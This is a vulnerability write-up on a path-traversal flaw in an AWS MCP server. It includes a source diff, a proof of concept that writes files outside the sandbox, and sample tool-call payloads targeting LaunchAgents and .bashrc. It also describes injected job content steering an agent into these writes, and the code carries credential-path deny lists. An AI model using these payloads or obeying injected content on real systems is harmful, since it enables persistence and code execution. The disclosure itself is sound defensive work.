CVE-2026-18953 — AWS Transform MCP Arbitrary File Write
This post was co-written with AI assistance. All technical testing, troubleshooting, and real-world insights are from the author's direct experience. AI helped with structure, clarity, and documentation formatting.
Overview
CVE-2026-18953 is a CWE-22 (Improper Limitation of a Pathname to a Restricted
Directory) path-traversal vulnerability in awslabs.aws-transform-mcp-server,
the MCP server AWS ships for AWS Transform. The get_resource tool's
savePath parameter — used when downloading an artifact or asset — is handed
to a path validator that checks a small directory/filename denylist but never
confines the resolved path to any base directory. Versions 0.1.0 through
0.1.4 are affected; 0.1.5 fixes it.
This write-up covers pulling the CVE record, diffing the vulnerable and patched source from PyPI and GitHub to pin the root cause, and a proof of concept that runs the real vulnerable code against the real patched code side by side.
| Field | Value |
|---|---|
| CVE | CVE-2026-18953 |
| CWE | CWE-22 (Path Traversal) |
| Package | awslabs.aws-transform-mcp-server |
| Affected | 0.1.0 – 0.1.4 |
| Fixed | 0.1.5 |
| CVSS 3.1 | 8.6 HIGH (AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) |
| Vector | savePath / fileName on get_resource |
| Advisory | GHSA-66mr-jr63-2jgw, AWS Bulletin 2026-075 |
Repo: CVE-2026-18953
CVE Record and Advisories
Start from the public record. CVE-2026-18953 on cve.org is a JS app that hydrates from MITRE's CVE Services API, so the useful move is to query that API directly:
curl -s "https://cveawg.mitre.org/api/cve/CVE-2026-18953" -o cve.json
python3 -c "
import json
d = json.load(open('cve.json'))
cna = d['containers']['cna']
print('CVE ID :', d['cveMetadata']['cveId'])
print('State :', d['cveMetadata']['state'])
print('Published :', d['cveMetadata']['datePublished'])
print('Title :', cna.get('title'))
print()
print('Description :')
print(cna['descriptions'][0]['value'])
print()
aff = cna['affected'][0]
print('Vendor :', aff['vendor'])
print('Product :', aff['product'])
for v in aff['versions']:
print(' version block:', v)
print()
for m in cna.get('metrics', []):
for k, val in m.items():
if isinstance(val, dict) and 'vectorString' in val:
print(k, val['vectorString'], val.get('baseScore'), val.get('baseSeverity'))
print()
for p in cna.get('problemTypes', []):
for d2 in p['descriptions']:
print('CWE:', d2.get('cweId'), d2.get('description'))
print()
for r in cna.get('references', []):
print('ref:', r['url'])
"
CVE ID : CVE-2026-18953
State : PUBLISHED
Published : 2026-08-05T19:33:10.800Z
Title : Improper limitation of a pathname to a restricted directory in aws-transform-mcp-server
Description :
Improper limitation of a pathname to a restricted directory in the get_resource tool in Amazon awslabs.aws-transform-mcp-server 0.1.0 through 0.1.4 might allow a context-dependent actor to write arbitrary files outside the intended working directory via the savePath parameter.
To remediate this issue, users should upgrade to version 0.1.5 or later.
Vendor : AWS
Product : aws-transform-mcp-server
version block: {'status': 'affected', 'version': '0.1.0', 'lessThanOrEqual': '0.1.4', 'versionType': 'custom'}
cvssV3_1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 8.6 HIGH
cvssV4_0 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H 6.3 MEDIUM
CWE: CWE-22 CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ref: https://pypi.org/project/awslabs.aws-transform-mcp-server/0.1.5/
ref: https://aws.amazon.com/security/security-bulletins/2026-075-aws/
ref: https://github.com/awslabs/mcp/security/advisories/GHSA-66mr-jr63-2jgw
That gives everything needed to go find the actual code: the affected
product, the exact version boundary (0.1.0–0.1.4, fixed at 0.1.5), and the
vulnerable parameter (savePath on get_resource).
The GitHub advisory (GHSA-66mr-jr63-2jgw) adds the impact statement and disclosure credit, but no code:
Improper limitation of a pathname to a restricted directory in the
get_resourcetool ... might allow a context-dependent actor to write arbitrary files outside the intended working directory via thesavePathparameter, which could lead to local code execution.Discovered by Drew Raines (coordinated disclosure). No workarounds — fixed in 0.1.5.
Root Cause: Path Traversal in validate_write_path
awslabs.aws-transform-mcp-server is open source
(awslabs/mcp on GitHub, published to
PyPI). Rather than trust the advisory's prose, pull both the vulnerable
release and the patched source and diff them directly.
Vulnerable release (0.1.4), straight from PyPI's JSON API:
curl -s "https://pypi.org/pypi/awslabs.aws-transform-mcp-server/json" -o pkg.json
python3 -c "
import json
d = json.load(open('pkg.json'))
for f in d['releases']['0.1.4']:
print(f['packagetype'], f['url'])
"
bdist_wheel https://files.pythonhosted.org/packages/32/6e/177ee815a7fe156360ddd62bc5c2886d15ec2499c5d46764a398b4eb2d52/awslabs_aws_transform_mcp_server-0.1.4-py3-none-any.whl
sdist https://files.pythonhosted.org/packages/70/70/7e4b7bc170ba177f75099680791ce58973cc3a402e2ab108b91e5b39d052/awslabs_aws_transform_mcp_server-0.1.4.tar.gz
curl -sL "https://files.pythonhosted.org/packages/70/70/7e4b7bc170ba177f75099680791ce58973cc3a402e2ab108b91e5b39d052/awslabs_aws_transform_mcp_server-0.1.4.tar.gz" -o v014.tar.gz
tar -xzf v014.tar.gz
Patched source (main branch, post-0.1.5), straight from GitHub:
curl -s "https://codeload.github.com/awslabs/mcp/tar.gz/refs/heads/main" -o mcp-main.tar.gz
tar -xzf mcp-main.tar.gz mcp-main/src/aws-transform-mcp-server/awslabs/aws_transform_mcp_server/file_validation.py
Both versions ship a file_validation.py whose module docstring is literally
"Path validation to prevent credential exfiltration via file uploads." — so
the file already existed, it just had a hole. Diffing it is the whole
vulnerability:
diff -u \
awslabs_aws_transform_mcp_server-0.1.4/awslabs/aws_transform_mcp_server/file_validation.py \
mcp-main/src/aws-transform-mcp-server/awslabs/aws_transform_mcp_server/file_validation.py
--- awslabs_aws_transform_mcp_server-0.1.4/awslabs/aws_transform_mcp_server/file_validation.py
+++ mcp-main/src/aws-transform-mcp-server/awslabs/aws_transform_mcp_server/file_validation.py
@@ -19,7 +19,7 @@
from typing import Optional
-# File basenames that must never be read.
+# File basenames that must never be read or written.
BLOCKED_FILENAMES: frozenset[str] = frozenset(
{
'.env',
@@ -59,7 +59,28 @@
'/etc/passwd',
)
+# Environment variable an operator may set to pin the write base explicitly.
+WRITE_BASE_ENV_VAR = 'AWS_TRANSFORM_MCP_WRITE_DIR'
+
+def _resolve_write_base() -> str:
+ """Resolve the allowed base directory for write operations.
+
+ All writes must resolve under this base, which prevents an LLM-controlled
+ savePath from writing to arbitrary filesystem locations. The base is taken
+ from AWS_TRANSFORM_MCP_WRITE_DIR if set, otherwise the current working
+ directory at import time.
+ """
+ configured = os.environ.get(WRITE_BASE_ENV_VAR)
+ if configured:
+ return os.path.realpath(os.path.expanduser(configured))
+ return os.path.realpath(os.getcwd())
+
+
+# Allowed base directory for write operations.
+_ALLOWED_WRITE_BASE: str = _resolve_write_base()
+
+
def _is_blocked_name(path: str) -> bool:
return os.path.basename(path).lower() in BLOCKED_FILENAMES
@@ -95,13 +116,34 @@
Prevents path traversal by stripping directory components from *file_name*
via os.path.basename(), ensuring the write stays within *save_path*.
- Also blocks writes into sensitive directories.
+ Confines all writes to the allowed base directory (CWD at startup).
+ Blocks writes into sensitive directories and to sensitive filenames.
Returns the resolved absolute write path.
Raises ValueError on any policy violation.
"""
+ # Refuse to write when the base is the filesystem root. Confining to '/'
+ # would place no bound on writes, so require an explicit base instead.
+ if _ALLOWED_WRITE_BASE == os.sep:
+ logger.warning('[security] Blocked write: allowed base is the filesystem root')
+ raise ValueError(
+ f'Cannot determine a safe save location: the server was started with the '
+ f'filesystem root as its working directory. Set the {WRITE_BASE_ENV_VAR} '
+ f'environment variable to the directory downloads should be written to.'
+ )
+
resolved_dir = os.path.realpath(os.path.expanduser(save_path))
+ # Confine writes to the allowed base directory.
+ if resolved_dir != _ALLOWED_WRITE_BASE and not resolved_dir.startswith(
+ _ALLOWED_WRITE_BASE + os.sep
+ ):
+ logger.warning('[security] Blocked write outside allowed base: {}', save_path)
+ raise ValueError(
+ f'Write path must be within the working directory '
+ f'({_ALLOWED_WRITE_BASE}), got: {save_path}'
+ )
+
if _in_blocked_dir(resolved_dir):
logger.warning('[security] Blocked write to sensitive directory: {}', save_path)
raise ValueError(f'Writing to sensitive directory is not allowed: {save_path}')
@@ -113,6 +155,13 @@
else:
safe_name = None
- if safe_name:
- return os.path.join(resolved_dir, safe_name)
- return resolved_dir
+ final_path = os.path.join(resolved_dir, safe_name) if safe_name else resolved_dir
+
+ # Enforce blocked filename list on writes (not just reads).
+ if _is_blocked_name(final_path):
+ logger.warning(
+ '[security] Blocked write of sensitive filename: {}', os.path.basename(final_path)
+ )
+ raise ValueError(f'Blocked filename: {os.path.basename(final_path)} cannot be written.')
+
+ return final_path
Reading the diff
validate_write_path(save_path, file_name) in 0.1.4 does exactly three things:
resolved_dir = os.path.realpath(os.path.expanduser(save_path))— resolve whatever the caller sent, no matter what it is.- Reject a hardcoded denylist of directories:
~/.aws,~/.ssh,~/.gnupg,~/.docker,~/.aws-transform-mcp,/etc/shadow,/etc/passwd. safe_name = os.path.basename(file_name)— strip directory components from the filename only.
Nowhere does it check that resolved_dir sits inside any base or working
directory. save_path can be /etc/, ~/Library/LaunchAgents, a
../../../../ traversal, or the caller's home directory outright — as long
as it doesn't literally match the six-entry denylist, it's accepted. And
BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) is
only ever checked in validate_read_path() — the write path in 0.1.4 never
calls _is_blocked_name() at all. So a write can also target a sensitive
filename, as long as the directory isn't one of the six denylisted ones.
The fix in 0.1.5 adds exactly what's missing:
_ALLOWED_WRITE_BASE, resolved once at import time from$AWS_TRANSFORM_MCP_WRITE_DIRor the server's CWD.- A hard containment check:
resolved_dirmust equal_ALLOWED_WRITE_BASEor start with_ALLOWED_WRITE_BASE + os.sep. - A refusal path if the base itself resolves to
/(no bound would mean no protection). _is_blocked_name()now also runs against the final resolved write path, not just reads.
Everything upstream of validate_write_path() — get_resource's
resource="artifact" / resource="asset" branches, and
tool_utils.download_s3_content(), which fetches a pre-signed S3 URL and
writes the bytes — is unchanged between versions. The entire vulnerability
and the entire fix live in this one function.
dl_result = await download_s3_content(
s3_url,
save_path=savePath,
file_name=fileName,
default_name=artifactId,
)
async def download_s3_content(s3_url, save_path=None, file_name=None, default_name=None):
from awslabs.aws_transform_mcp_server.file_validation import validate_write_path
async with httpx.AsyncClient() as client:
response = await client.get(s3_url, follow_redirects=True)
response.raise_for_status()
if save_path is not None:
resolved_name = file_name or default_name or 'download'
if save_path.endswith('/') or '.' not in os.path.basename(save_path):
full_path = validate_write_path(save_path, resolved_name)
else:
full_path = validate_write_path(os.path.dirname(save_path), os.path.basename(save_path))
with open(full_path, 'wb') as fh:
fh.write(response.content)
return {'savedTo': full_path, 'sizeBytes': len(response.content)}
return {'content': response.text}
savePath and fileName are both plain tool-call arguments an MCP client
sends. The advisory's "context-dependent actor" is exactly this: whatever is
driving the MCP client — a user, or an agent that has been steered via
untrusted job/task/message content it fetched through this same server —
controls both strings.
Attack Scenario: Arbitrary File Write via savePath
A realistic malicious get_resource call looks like this:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
or, without needing an absolute path at all, from wherever the server's CWD happens to be:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
get_resource is documented to hand task responses to the agent to "act
on," and messages content originates from job/chat data the agent
retrieves through the same tool set. Steering an already-connected agent into
issuing one of these calls doesn't require compromising the human operator —
it requires controlling content the agent later reads and treats as
instructions. No AWS credentials are needed to trigger the bug itself: it's
pure local path handling, evaluated before/after the actual S3 fetch.
Proof of Concept
Rather than stand up a real AWS Transform workspace, the PoC isolates exactly
where the vulnerability lives: validate_write_path() and
download_s3_content(). It vendors the real, unmodified upstream
file_validation.py from both releases, stands up a throwaway local HTTP
server in place of the pre-signed S3 URL, and drives both versions through
identical malicious savePath/fileName pairs.
CVE-2026-18953/
├── README.md
├── poc.py # driver, zero third-party deps
└── vendor/
├── _loguru_shim.py # stand-in for the loguru dependency
├── 0.1.4-vulnerable/file_validation.py # real vulnerable source, from the PyPI sdist
└── 0.1.5-fixed/file_validation.py # real patched source, from awslabs/mcp@main
Three scenarios are fired against each version:
| # | savePath | fileName | What it tests |
|---|---|---|---|
| 1 | absolute path outside the sandbox dir | dropped_by_absolute_path.sh | No traversal needed at all — plain absolute path escape |
| 2 | ../../../../../../<abs path outside sandbox> | dropped_by_traversal.sh | Classic relative traversal |
| 3 | a decoy $HOME-style dir | .bashrc | BLOCKED_FILENAMES is never enforced on writes in 0.1.4 |
Running it:
python3 poc.py
PoC scratch root : /var/folders/rc/.../T/cve-2026-18953-poc-y_rf0su8
"Intended" sandbox dir (server CWD) : .../cve-2026-18953-poc-y_rf0su8/server_working_dir
Attacker-chosen destination (must be
UNREACHABLE if the server is behaving) : .../cve-2026-18953-poc-y_rf0su8/outside_sandbox
=== Target: file_validation.py from 0.1.4-vulnerable (_ALLOWED_WRITE_BASE=N/A (no such concept)) ===
-> Absolute path escape (no traversal needed at all)
get_resource(resource="artifact", savePath='.../outside_sandbox', fileName='dropped_by_absolute_path.sh')
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
get_resource(resource="artifact", savePath='../../../../../../.../outside_sandbox', fileName='dropped_by_traversal.sh')
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME (no BLOCKED_FILENAMES enforcement on writes in 0.1.4)
get_resource(resource="artifact", savePath='.../outside_sandbox/decoy_home', fileName='.bashrc')
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed (_ALLOWED_WRITE_BASE=.../cve-2026-18953-poc-y_rf0su8/server_working_dir) ===
-> Absolute path escape (no traversal needed at all)
[validate_write_path warning] [security] Blocked write outside allowed base: .../outside_sandbox
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (.../server_working_dir), got: .../outside_sandbox
-> Relative "../../.." traversal out of the sandbox dir
[validate_write_path warning] [security] Blocked write outside allowed base: ../../../../../../.../outside_sandbox
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (.../server_working_dir), got: ../../../../../../.../outside_sandbox
-> Sensitive dotfile name, written inside a decoy $HOME (no BLOCKED_FILENAMES enforcement on writes in 0.1.4)
[validate_write_path warning] [security] Blocked write outside allowed base: .../outside_sandbox/decoy_home
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (.../server_working_dir), got: .../outside_sandbox/decoy_home
--------------------------------------------------------------
Summary: on 0.1.4, all three writes land OUTSIDE the sandbox dir
the operator started the server in. On 0.1.5+, every one of them
is rejected with a ValueError before any bytes touch disk.
(Paths truncated here for readability — the actual run prints full
/var/folders/.../T/cve-2026-18953-poc-<random>/... paths, and leaves the
scratch directory in place for inspection.)
Confirming the bytes actually landed, not just that the function returned a path:
find "$TMP" -type f -exec echo {} \; -exec cat {} \;
.../outside_sandbox/dropped_by_absolute_path.sh
echo "pwned by CVE-2026-18953 PoC" # not a real payload
.../outside_sandbox/dropped_by_traversal.sh
echo "pwned by CVE-2026-18953 PoC" # not a real payload
.../outside_sandbox/decoy_home/.bashrc
echo "pwned by CVE-2026-18953 PoC" # not a real payload
All three files exist outside the sandbox directory the "server" was
supposedly confined to, containing bytes served by the fake pre-signed URL.
Against 0.1.5, the same three calls never touch disk — validate_write_path
raises before open() is reached.
Why no real AWS account is needed
The vulnerability is entirely in local path handling, evaluated around the
S3 fetch, not inside it. download_s3_content() downloads first, then
resolves and validates the write path, then opens the file. Swapping the real
pre-signed URL for a local HTTP server serving arbitrary bytes exercises the
exact same code path an attacker would trigger — the only thing missing is a
live AWS Transform workspace to get a savePath-controlled tool call in
front of a real agent, which isn't needed to prove the local file-write
primitive exists.
Remediation
Upgrade to awslabs.aws-transform-mcp-server >= 0.1.5. There is no
server-side workaround for older versions. Operators who can't upgrade
immediately should run the server with its working directory set to a
dedicated, empty, disposable location and treat anything it can write to as
compromised in the interim.
Patched package:
awslabs.aws-transform-mcp-server 0.1.5 on PyPI.